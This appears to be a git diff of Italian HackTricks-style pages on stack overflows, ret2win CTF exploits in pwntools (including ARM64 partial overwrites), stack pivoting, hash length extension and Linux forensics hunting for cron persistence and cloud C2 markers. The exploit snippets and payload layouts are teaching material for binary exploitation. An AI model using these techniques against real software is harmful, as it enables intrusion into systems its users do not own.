View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
## Che cos'è uno Stack Overflow
## Cos'è uno Stack Overflow
Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanto ne sia stato allocato per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sugli input.
Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano stati allocati per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sugli input.
Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore di base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascriverli e **controllare il flusso di esecuzione del programma**.
Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore di base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Pertanto, un attaccante sarà in grado di sovrascrivere questi e **controllare il flusso di esecuzione del programma**.
La vulnerabilità di solito si verifica perché una funzione **copia nello stack più byte della quantità allocata per essa**, riuscendo quindi a sovrascrivere altre parti dello stack.
La vulnerabilità di solito si verifica perché una funzione **copia nello stack più byte della quantità allocata per essa**, riuscendo così a sovrascrivere altre parti dello stack.
Alcune funzioni comuni vulnerabili a questo sono: **`strcpy`, `strcat`, `sprintf`, `gets`**... Inoltre, funzioni come **`fgets`**, **`read` & `memcpy`** che prendono un **argomento di lunghezza**, potrebbero essere utilizzate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata.
@ -59,6 +59,7 @@ Tuttavia, in altri scenari, potrebbe essere sufficiente **sovrascrivere alcuni v
In questo tipo di sfide CTF, c'è una **funzione** **all'interno** del binario che **non viene mai chiamata** e che **devi chiamare per vincere**. Per queste sfide devi solo trovare l'**offset per sovrascrivere l'indirizzo di ritorno** e **trovare l'indirizzo della funzione** da chiamare (di solito [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sarebbe disabilitato) in modo che, quando la funzione vulnerabile restituisce, la funzione nascosta venga chiamata:
{{#ref}}
ret2win/
{{#endref}}
@ -67,6 +68,7 @@ ret2win/
In questo scenario, l'attaccante potrebbe posizionare uno shellcode nello stack e abusare dell'EIP/RIP controllato per saltare allo shellcode ed eseguire codice arbitrario:
{{#ref}}
stack-shellcode/
{{#endref}}
@ -75,13 +77,15 @@ stack-shellcode/
Questa tecnica è il framework fondamentale per bypassare la principale protezione della tecnica precedente: **Stack non eseguibile (NX)**. E consente di eseguire diverse altre tecniche (ret2lib, ret2syscall...) che porteranno all'esecuzione di comandi arbitrari abusando delle istruzioni esistenti nel binario:
{{#ref}}
../rop-return-oriented-programing/
{{#endref}}
## Heap Overflows
Un overflow non sarà sempre nello stack, potrebbe anche essere nell'**heap**, per esempio:
Un overflow non sarà sempre nello stack, potrebbe anche essere nell'**heap**, ad esempio:
{{#ref}}
../libc-heap/heap-overflow.md
@ -91,13 +95,15 @@ Un overflow non sarà sempre nello stack, potrebbe anche essere nell'**heap**, p
Ci sono diverse protezioni che cercano di prevenire l'exploitation delle vulnerabilità, controllale in:
{{#ref}}
../common-binary-protections-and-bypasses/
{{#endref}}
### Esempio del Mondo Reale: CVE-2025-40596 (SonicWall SMA100)
Una buona dimostrazione del perché **`sscanf` non dovrebbe mai essere considerato affidabile per l'analisi di input non fidati** è apparsa nel 2025 nell'appliance SSL-VPN SMA100 di SonicWall. La routine vulnerabile all'interno di `/usr/src/EasyAccess/bin/httpd` tenta di estrarre la versione e l'endpoint da qualsiasi URI che inizia con `/__api__/`:
Una buona dimostrazione del perché **`sscanf` non dovrebbe mai essere considerato affidabile per l'analisi di input non fidati** è apparsa nel 2025 nell'appliance SSL-VPN SMA100 di SonicWall.
La routine vulnerabile all'interno di `/usr/src/EasyAccess/bin/httpd` tenta di estrarre la versione e l'endpoint da qualsiasi URI che inizia con `/__api__/`:
```c
char version[3];
char endpoint[0x800] = {0};

13
src/binary-exploitation/stack-overflow/ret2win/README.md
View File

@ -4,11 +4,11 @@
## Informazioni di Base
Le sfide **Ret2win** sono una categoria popolare nelle competizioni **Capture The Flag (CTF)**, in particolare in compiti che coinvolgono **binary exploitation**. L'obiettivo è sfruttare una vulnerabilità in un dato binario per eseguire una funzione specifica, non invocata, all'interno del binario, spesso chiamata qualcosa come `win`, `flag`, ecc. Questa funzione, quando eseguita, di solito stampa un flag o un messaggio di successo. La sfida comporta tipicamente la sovrascrittura dell'**indirizzo di ritorno** nello stack per deviare il flusso di esecuzione verso la funzione desiderata. Ecco una spiegazione più dettagliata con esempi:
Le sfide **Ret2win** sono una categoria popolare nelle competizioni di **Capture The Flag (CTF)**, in particolare in compiti che coinvolgono **binary exploitation**. L'obiettivo è sfruttare una vulnerabilità in un dato binario per eseguire una funzione specifica, non invocata, all'interno del binario, spesso chiamata qualcosa come `win`, `flag`, ecc. Questa funzione, quando eseguita, di solito stampa un flag o un messaggio di successo. La sfida comporta tipicamente la sovrascrittura dell'**indirizzo di ritorno** nello stack per deviare il flusso di esecuzione verso la funzione desiderata. Ecco una spiegazione più dettagliata con esempi:
### Esempio in C
### Esempio C
Considera un semplice programma in C con una vulnerabilità e una funzione `win` che intendiamo chiamare:
Considera un semplice programma C con una vulnerabilità e una funzione `win` che intendiamo chiamare:
```c
#include <stdio.h>
#include <string.h>
@ -27,14 +27,14 @@ vulnerable_function();
return 0;
}
```
Per compilare questo programma senza protezioni dello stack e con **ASLR** disabilitato, puoi usare il seguente comando:
Per compilare questo programma senza protezioni dello stack e con **ASLR** disabilitato, puoi utilizzare il seguente comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
- `-m32`: Compila il programma come un binario a 32 bit (questo è facoltativo ma comune nelle sfide CTF).
- `-fno-stack-protector`: Disabilita le protezioni contro gli overflow dello stack.
- `-z execstack`: Consenti l'esecuzione di codice nello stack.
- `-no-pie`: Disabilita l'eseguibile indipendente dalla posizione per garantire che l'indirizzo della funzione `win` non cambi.
- `-no-pie`: Disabilita l'Eseguibile Indipendente dalla Posizione per garantire che l'indirizzo della funzione `win` non cambi.
- `-o vulnerable`: Nomina il file di output `vulnerable`.
### Python Exploit usando Pwntools
@ -69,7 +69,7 @@ Lo script Python invia un messaggio accuratamente progettato che, quando elabora
## Protezioni
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa il trabocco è `read` o simile, puoi fare un **Partial Overwrite** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona ASLR, le ultime tre nibble esadecimali non sono randomizzate, quindi c'è una **1/16 possibilità** (1 nibble) di ottenere l'indirizzo di ritorno corretto.
- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa il trabocco è `read` o simile, puoi fare un **Partial Overwrite** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona ASLR, gli ultimi tre nibble esadecimali non sono randomizzati, quindi c'è una **1/16 possibilità** (1 nibble) di ottenere l'indirizzo di ritorno corretto.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
## Altri esempi & Riferimenti
@ -100,6 +100,7 @@ Lo script Python invia un messaggio accuratamente progettato che, quando elabora
## Esempio ARM64
{{#ref}}
ret2win-arm64.md
{{#endref}}

7
src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
View File

@ -4,11 +4,12 @@
Trova un'introduzione a arm64 in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Codice
```c
#include <stdio.h>
#include <unistd.h>
@ -113,7 +114,7 @@ p.close()
### Off-by-1
In realtà, questo sarà più simile a un off-by-2 nel PC memorizzato nello stack. Invece di sovrascrivere tutti gli indirizzi di ritorno, sovrascriveremo **solo gli ultimi 2 byte** con `0x06c4`.
In realtà, questo sarà più simile a un off-by-2 nella PC memorizzata nello stack. Invece di sovrascrivere tutti gli indirizzi di ritorno, sovrascriveremo **solo gli ultimi 2 byte** con `0x06c4`.
```python
from pwn import *
@ -144,7 +145,7 @@ Puoi trovare un altro esempio off-by-one in ARM64 in [https://8ksec.io/arm64-rev
### Off-by-2
Senza un leak non conosciamo l'indirizzo esatto della funzione vincente, ma possiamo conoscere l'offset della funzione dal binario e sapendo che l'indirizzo di ritorno che stiamo sovrascrivendo punta già a un indirizzo vicino, è possibile leakare l'offset alla funzione win (**0x7d4**) in questo caso e usare semplicemente quell'offset:
Senza un leak non conosciamo l'indirizzo esatto della funzione vincente, ma possiamo conoscere l'offset della funzione dal binario e sapendo che l'indirizzo di ritorno che stiamo sovrascrivendo punta già a un indirizzo vicino, è possibile ottenere l'offset della funzione win (**0x7d4**) in questo caso e utilizzare semplicemente quell'offset:
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
```python

13
src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
View File

@ -15,14 +15,14 @@ ret
E come il **EBP/RBP salvato è nello stack** prima dell'EIP/RIP salvato, è possibile controllarlo controllando lo stack.
> Note
> - Su 64-bit, sostituire EBP→RBP e ESP→RSP. La semantica è la stessa.
> - Su 64-bit, sostituisci EBP→RBP e ESP→RSP. La semantica è la stessa.
> - Alcuni compilatori omettono il puntatore di frame (vedi “EBP potrebbe non essere utilizzato”). In tal caso, `leave` potrebbe non apparire e questa tecnica non funzionerà.
### EBP2Ret
Questa tecnica è particolarmente utile quando puoi **modificare l'EBP/RBP salvato ma non hai un modo diretto per cambiare EIP/RIP**. Sfrutta il comportamento dell'epilogo della funzione.
Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area di memoria dove si trova l'indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per tenere conto del `pop`), puoi controllare indirettamente RIP. Quando la funzione restituisce, `leave` imposta RSP sulla posizione creata e il successivo `pop rbp` diminuisce RSP, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì**. Poi `ret` utilizzerà quell'indirizzo.
Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area in memoria dove si trova l'indirizzo del tuo shellcode/ROP chain (più 8 byte su amd64 / 4 byte su x86 per tenere conto del `pop`), puoi controllare indirettamente RIP. Quando la funzione restituisce, `leave` imposta RSP sulla posizione creata e il successivo `pop rbp` diminuisce RSP, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì**. Poi `ret` utilizzerà quell'indirizzo.
Nota come **devi conoscere 2 indirizzi**: l'indirizzo dove andrà ESP/RSP e il valore memorizzato a quell'indirizzo che `ret` consumerà.
@ -32,7 +32,7 @@ Prima devi conoscere un **indirizzo dove puoi scrivere dati/indirizzi arbitrari*
Poi, devi scegliere l'indirizzo utilizzato da `ret` che **trasferirà l'esecuzione**. Potresti usare:
- Un valido [**ONE_GADGET**](https://github.com/david942j/one_gadget) indirizzo.
- Un indirizzo valido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
- L'indirizzo di **`system()`** seguito dal ritorno e dagli argomenti appropriati (su x86: `ret` target = `&system`, poi 4 byte spazzatura, poi `&"/bin/sh"`).
- L'indirizzo di un gadget **`jmp esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguito da shellcode inline.
- Una catena [**ROP**](../rop-return-oriented-programing/index.html) in memoria scrivibile.
@ -96,7 +96,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
> consiglio di allineamento amd64: il System V ABI richiede un allineamento dello stack a 16 byte nei punti di chiamata. Se la tua catena chiama funzioni come `system`, aggiungi un gadget di allineamento (ad es., `ret`, o `sub rsp, 8 ; ret`) prima della chiamata per mantenere l'allineamento ed evitare crash di `movaps`.
> consiglio di allineamento amd64: il System V ABI richiede un allineamento dello stack a 16 byte nei punti di chiamata. Se la tua catena chiama funzioni come `system`, aggiungi un gadget di allineamento (ad esempio, `ret`, o `sub rsp, 8 ; ret`) prima della chiamata per mantenere l'allineamento ed evitare crash di `movaps`.
## EBP potrebbe non essere utilizzato
@ -184,6 +184,7 @@ xchg <reg>, rsp
Controlla la tecnica ret2esp qui:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
@ -220,6 +221,7 @@ I moderni CPU e OS x86 implementano sempre più **CET Shadow Stack (SHSTK)**. Co
- Per informazioni di base e dettagli più approfonditi vedere:
{{#ref}}
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
{{#endref}}
@ -271,6 +273,7 @@ ret
Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**:
{{#ref}}
../rop-return-oriented-programing/ret2esp-ret2reg.md
{{#endref}}
@ -280,7 +283,7 @@ Inoltre, nella pagina seguente puoi vedere l'equivalente di **Ret2esp in ARM64**
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
- 64 bit, sfruttamento off by one con una catena rop che inizia con un ret sled
- 64 bit, exploitazione off by one con una catena rop che inizia con un ret sled
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
- 64 bit, senza relro, canary, nx e pie. Il programma concede una leak per stack o pie e un WWW di un qword. Prima ottieni la leak dello stack e usa il WWW per tornare e ottenere la leak del pie. Poi usa il WWW per creare un ciclo eterno abusando delle voci di `.fini_array` + chiamando `__libc_csu_fini` ([maggiori informazioni qui](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Abusando di questa scrittura "eterna", viene scritta una catena ROP nella .bss e si finisce per chiamarla pivotando con RBP.
- Documentazione del kernel Linux: Control-flow Enforcement Technology (CET) Shadow Stack — dettagli su SHSTK, `nousershstk`, flag di `/proc/$PID/status`, e abilitazione tramite `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html

1
src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
View File

@ -4,6 +4,7 @@
Trova un'introduzione a arm64 in:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}

4
src/crypto-and-stego/hash-length-extension-attack.md
View File

@ -10,8 +10,8 @@ Immagina un server che **firma** alcuni **dati** **aggiungendo** un **segreto**
- **I dati di testo chiaro**
- **L'algoritmo (e è vulnerabile a questo attacco)**
- **Il padding è noto**
- Di solito viene utilizzato un padding predefinito, quindi se gli altri 3 requisiti sono soddisfatti, anche questo lo è
- Il padding varia a seconda della lunghezza del segreto + dati, ecco perché è necessaria la lunghezza del segreto
- Di solito viene utilizzato un predefinito, quindi se gli altri 3 requisiti sono soddisfatti, anche questo lo è
- Il padding varia a seconda della lunghezza del segreto+dati, ecco perché è necessaria la lunghezza del segreto
Allora, è possibile per un **attaccante** **aggiungere** **dati** e **generare** una **firma** valida per i **dati precedenti + dati aggiunti**.

4
src/crypto-and-stego/rc4-encrypt-and-decrypt.md
View File

@ -1,13 +1,17 @@
# RC4 Encrypt and Decrypt
{{#include ../banners/hacktricks-training.md}}
Se riesci in qualche modo a crittografare un testo in chiaro utilizzando RC4, puoi decrittografare qualsiasi contenuto crittografato da quel RC4 (utilizzando la stessa password) semplicemente usando la funzione di crittografia.
Se puoi crittografare un testo in chiaro noto, puoi anche estrarre la password. Maggiori riferimenti possono essere trovati nella macchina HTB Kryptos:
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}
{{#ref}}
https://0xrick.github.io/hack-the-box/kryptos/
{{#endref}}

2
src/generic-methodologies-and-resources/basic-forensic-methodology/README.md
View File

@ -38,7 +38,7 @@ linux-forensics.md
docker-forensics.md
{{#endref}}
## Ispezione approfondita di tipi di file specifici e Software
## Ispezione Approfondita di Tipi di File e Software Specifici
Se hai un **file** molto **sospetto**, allora **a seconda del tipo di file e del software** che lo ha creato, potrebbero essere utili diversi **trucchi**.\
Leggi la pagina seguente per scoprire alcuni trucchi interessanti:

38
src/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
View File

@ -11,7 +11,7 @@ Prima di tutto, è consigliato avere una **USB** con **binaries e librerie ben n
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
Una volta che hai configurato il sistema per utilizzare binari buoni e noti, puoi iniziare a **estrarre alcune informazioni di base**:
Una volta configurato il sistema per utilizzare binari buoni e noti, puoi iniziare a **estrarre alcune informazioni di base**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@ -45,8 +45,8 @@ Per **compilarlo**, devi utilizzare lo **stesso kernel** che la macchina vittima
> [!TIP]
> Ricorda che **non puoi installare LiME o qualsiasi altra cosa** nella macchina vittima poiché apporterà diverse modifiche ad essa
Quindi, se hai una versione identica di Ubuntu, puoi usare `apt-get install lime-forensics-dkms`\
In altri casi, devi scaricare [**LiME**](https://github.com/504ensicsLabs/LiME) da github e compilarlo con le intestazioni del kernel corrette. Per **ottenere le intestazioni esatte del kernel** della macchina vittima, puoi semplicemente **copiare la directory** `/lib/modules/<kernel version>` sulla tua macchina, e poi **compilare** LiME utilizzando quelle:
Quindi, se hai una versione identica di Ubuntu puoi usare `apt-get install lime-forensics-dkms`\
In altri casi, devi scaricare [**LiME**](https://github.com/504ensicsLabs/LiME) da github e compilarlo con i corretti header del kernel. Per **ottenere gli header esatti del kernel** della macchina vittima, puoi semplicemente **copiare la directory** `/lib/modules/<kernel version>` sulla tua macchina, e poi **compilare** LiME utilizzandoli:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@ -172,7 +172,7 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
# Find exacuable files
find / -type f -executable | grep <something>
```
## Recuperare Binarie Eseguite Cancellate
## Recuperare i Binaries Eseguiti Cancellati
Immagina un processo che è stato eseguito da /tmp/exec e poi cancellato. È possibile estrarlo
```bash
@ -197,7 +197,7 @@ cat /var/spool/cron/crontabs/* \
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
```
#### Hunt: Abuso di Cron/Anacron tramite 0anacron e stub sospetti
Gli attaccanti spesso modificano lo stub 0anacron presente in ciascuna directory /etc/cron.*/ per garantire l'esecuzione periodica.
Gli attaccanti spesso modificano lo stub 0anacron presente in ogni directory /etc/cron.*/ per garantire l'esecuzione periodica.
```bash
# List 0anacron files and their timestamps/sizes
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
@ -217,7 +217,7 @@ awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|
#### Hunt: Cloud C2 markers (Dropbox/Cloudflare Tunnel)
- I beacon dell'API di Dropbox utilizzano tipicamente api.dropboxapi.com o content.dropboxapi.com su HTTPS con token di autorizzazione: Bearer.
- Cerca in proxy/Zeek/NetFlow per egress inaspettati di Dropbox dai server.
- Cloudflare Tunnel (`cloudflared`) fornisce C2 di backup su 443 in uscita.
- Cloudflare Tunnel (`cloudflared`) fornisce C2 di backup su outbound 443.
```bash
ps aux | grep -E '[c]loudflared|trycloudflare'
systemctl list-units | grep -i cloudflared
@ -263,17 +263,17 @@ I sistemi Linux tracciano le attività degli utenti e gli eventi di sistema attr
- **/var/log/maillog** o **/var/log/mail.log**: Registra le attività del server di posta, utile per tracciare servizi legati alla posta elettronica.
- **/var/log/kern.log**: Memorizza messaggi del kernel, inclusi errori e avvisi.
- **/var/log/dmesg**: Contiene messaggi del driver del dispositivo.
- **/var/log/faillog**: Registra tentativi di accesso falliti, utile per indagini su violazioni della sicurezza.
- **/var/log/faillog**: Registra i tentativi di accesso falliti, utile per indagini su violazioni della sicurezza.
- **/var/log/cron**: Registra le esecuzioni dei job cron.
- **/var/log/daemon.log**: Traccia le attività dei servizi in background.
- **/var/log/btmp**: Documenta tentativi di accesso falliti.
- **/var/log/btmp**: Documenta i tentativi di accesso falliti.
- **/var/log/httpd/**: Contiene log di errore e accesso di Apache HTTPD.
- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registra le attività del database MySQL.
- **/var/log/xferlog**: Registra trasferimenti di file FTP.
- **/var/log/xferlog**: Registra i trasferimenti di file FTP.
- **/var/log/**: Controlla sempre per log inaspettati qui.
> [!TIP]
> I log di sistema Linux e i sottosistemi di audit possono essere disabilitati o eliminati in un incidente di intrusione o malware. Poiché i log sui sistemi Linux contengono generalmente alcune delle informazioni più utili sulle attività malevole, gli intrusi li eliminano di routine. Pertanto, quando si esaminano i file di log disponibili, è importante cercare lacune o voci fuori ordine che potrebbero essere un'indicazione di eliminazione o manomissione.
> I log di sistema Linux e i sottosistemi di audit potrebbero essere disabilitati o eliminati in un incidente di intrusione o malware. Poiché i log sui sistemi Linux contengono generalmente alcune delle informazioni più utili sulle attività malevole, gli intrusi li eliminano di routine. Pertanto, quando si esaminano i file di log disponibili, è importante cercare lacune o voci fuori ordine che potrebbero essere un'indicazione di eliminazione o manomissione.
**Linux mantiene una cronologia dei comandi per ogni utente**, memorizzata in:
@ -325,28 +325,28 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
## Rivedere gli Account Utente e le Attività di Accesso
## Review User Accounts and Logon Activities
Esaminare il _**/etc/passwd**_, _**/etc/shadow**_ e i **log di sicurezza** per nomi o account insoliti creati e/o utilizzati in prossimità di eventi non autorizzati noti. Inoltre, controllare possibili attacchi di brute-force su sudo.\
Inoltre, controllare file come _**/etc/sudoers**_ e _**/etc/groups**_ per privilegi inaspettati concessi agli utenti.\
Infine, cercare account con **nessuna password** o **password facilmente indovinabili**.
## Esaminare il File System
## Examine File System
### Analisi delle Strutture del File System nell'Investigazione di Malware
### Analyzing File System Structures in Malware Investigation
Quando si indagano incidenti di malware, la struttura del file system è una fonte cruciale di informazioni, rivelando sia la sequenza degli eventi che il contenuto del malware. Tuttavia, gli autori di malware stanno sviluppando tecniche per ostacolare questa analisi, come modificare i timestamp dei file o evitare il file system per l'archiviazione dei dati.
Per contrastare questi metodi anti-forensi, è essenziale:
- **Condurre un'analisi approfondita della timeline** utilizzando strumenti come **Autopsy** per visualizzare le timeline degli eventi o `mactime` di **Sleuth Kit** per dati dettagliati sulla timeline.
- **Condurre un'analisi della timeline approfondita** utilizzando strumenti come **Autopsy** per visualizzare le timeline degli eventi o `mactime` di **Sleuth Kit** per dati dettagliati sulla timeline.
- **Indagare su script inaspettati** nel $PATH del sistema, che potrebbero includere script shell o PHP utilizzati dagli attaccanti.
- **Esaminare `/dev` per file atipici**, poiché tradizionalmente contiene file speciali, ma potrebbe ospitare file relativi al malware.
- **Cercare file o directory nascosti** con nomi come ".. " (punto punto spazio) o "..^G" (punto punto controllo-G), che potrebbero nascondere contenuti malevoli.
- **Esaminare `/dev` per file atipici**, poiché tradizionalmente contiene file speciali, ma potrebbe ospitare file correlati al malware.
- **Cercare file o directory nascosti** con nomi come ".. " (punto punto spazio) o "..^G" (punto punto controllo-G), che potrebbero nascondere contenuti dannosi.
- **Identificare file setuid root** utilizzando il comando: `find / -user root -perm -04000 -print` Questo trova file con permessi elevati, che potrebbero essere abusati dagli attaccanti.
- **Rivedere i timestamp di cancellazione** nelle tabelle degli inode per individuare cancellazioni di massa di file, che potrebbero indicare la presenza di rootkit o trojan.
- **Ispezionare inode consecutivi** per file malevoli vicini dopo averne identificato uno, poiché potrebbero essere stati collocati insieme.
- **Controllare le directory binarie comuni** (_/bin_, _/sbin_) per file recentemente modificati, poiché questi potrebbero essere stati alterati da malware.
- **Esaminare i timestamp di cancellazione** nelle tabelle degli inode per individuare cancellazioni di massa di file, che potrebbero indicare la presenza di rootkit o trojan.
- **Ispezionare inode consecutivi** per file dannosi vicini dopo averne identificato uno, poiché potrebbero essere stati collocati insieme.
- **Controllare le directory binarie comuni** (_/bin_, _/sbin_) per file recentemente modificati, poiché questi potrebbero essere stati alterati dal malware.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```

30
src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md
View File

@ -4,13 +4,13 @@
## Partizioni
Un hard disk o un **SSD può contenere diverse partizioni** con l'obiettivo di separare fisicamente i dati.\
Un hard disk o un **disco SSD possono contenere diverse partizioni** con l'obiettivo di separare fisicamente i dati.\
L'unità **minima** di un disco è il **settore** (normalmente composto da 512B). Quindi, ogni dimensione di partizione deve essere un multiplo di quella dimensione.
### MBR (master Boot Record)
È allocato nel **primo settore del disco dopo i 446B del codice di avvio**. Questo settore è essenziale per indicare al PC cosa e da dove una partizione dovrebbe essere montata.\
Permette fino a **4 partizioni** (al massimo **solo 1** può essere attiva/**avviabile**). Tuttavia, se hai bisogno di più partizioni puoi utilizzare **partizioni estese**. L'**ultimo byte** di questo primo settore è la firma del boot record **0x55AA**. Solo una partizione può essere contrassegnata come attiva.\
Permette fino a **4 partizioni** (al massimo **solo 1** può essere attiva/**avviabile**). Tuttavia, se hai bisogno di più partizioni, puoi utilizzare **partizioni estese**. L'**ultimo byte** di questo primo settore è la firma del record di avvio **0x55AA**. Solo una partizione può essere contrassegnata come attiva.\
MBR consente **max 2.2TB**.
![](<../../../images/image (350).png>)
@ -26,10 +26,10 @@ Dai **byte 440 ai 443** dell'MBR puoi trovare la **Windows Disk Signature** (se
| Offset | Lunghezza | Voce |
| ----------- | ----------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Codice di avvio |
| 446 (0x1BE) | 16 (0x10) | Prima Partizione |
| 446 (0x1BE) | 16 (0x10) | Prima Partizione |
| 462 (0x1CE) | 16 (0x10) | Seconda Partizione |
| 478 (0x1DE) | 16 (0x10) | Terza Partizione |
| 494 (0x1EE) | 16 (0x10) | Quarta Partizione |
| 478 (0x1DE) | 16 (0x10) | Terza Partizione |
| 494 (0x1EE) | 16 (0x10) | Quarta Partizione |
| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA |
**Formato del Record di Partizione**
@ -47,9 +47,9 @@ Dai **byte 440 ai 443** dell'MBR puoi trovare la **Windows Disk Signature** (se
| 8 (0x08) | 4 (0x04) | Settori precedenti la partizione (little endian) |
| 12 (0x0C) | 4 (0x04) | Settori nella partizione |
Per montare un MBR in Linux devi prima ottenere l'offset di inizio (puoi usare `fdisk` e il comando `p`)
Per montare un MBR in Linux, devi prima ottenere l'offset di inizio (puoi usare `fdisk` e il comando `p`)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
E poi usa il seguente codice
```bash
@ -73,11 +73,11 @@ La GUID Partition Table, nota come GPT, è preferita per le sue capacità avanza
**Resilienza e Recupero dei Dati**:
- **Ridondanza**: A differenza di MBR, GPT non limita i dati di partizionamento e avvio a un solo luogo. Replica questi dati su tutto il disco, migliorando l'integrità e la resilienza dei dati.
- **Controllo di Ridondanza Ciclomica (CRC)**: GPT utilizza il CRC per garantire l'integrità dei dati. Monitora attivamente la corruzione dei dati e, quando viene rilevata, GPT tenta di recuperare i dati corrotti da un'altra posizione del disco.
- **Controllo di Ridondanza Ciclica (CRC)**: GPT utilizza il CRC per garantire l'integrità dei dati. Monitora attivamente la corruzione dei dati e, quando viene rilevata, GPT tenta di recuperare i dati corrotti da un'altra posizione del disco.
**MBR Protettivo (LBA0)**:
- GPT mantiene la compatibilità retroattiva attraverso un MBR protettivo. Questa funzione risiede nello spazio MBR legacy ma è progettata per prevenire che le utilità basate su MBR più vecchie sovrascrivano erroneamente i dischi GPT, proteggendo così l'integrità dei dati sui dischi formattati GPT.
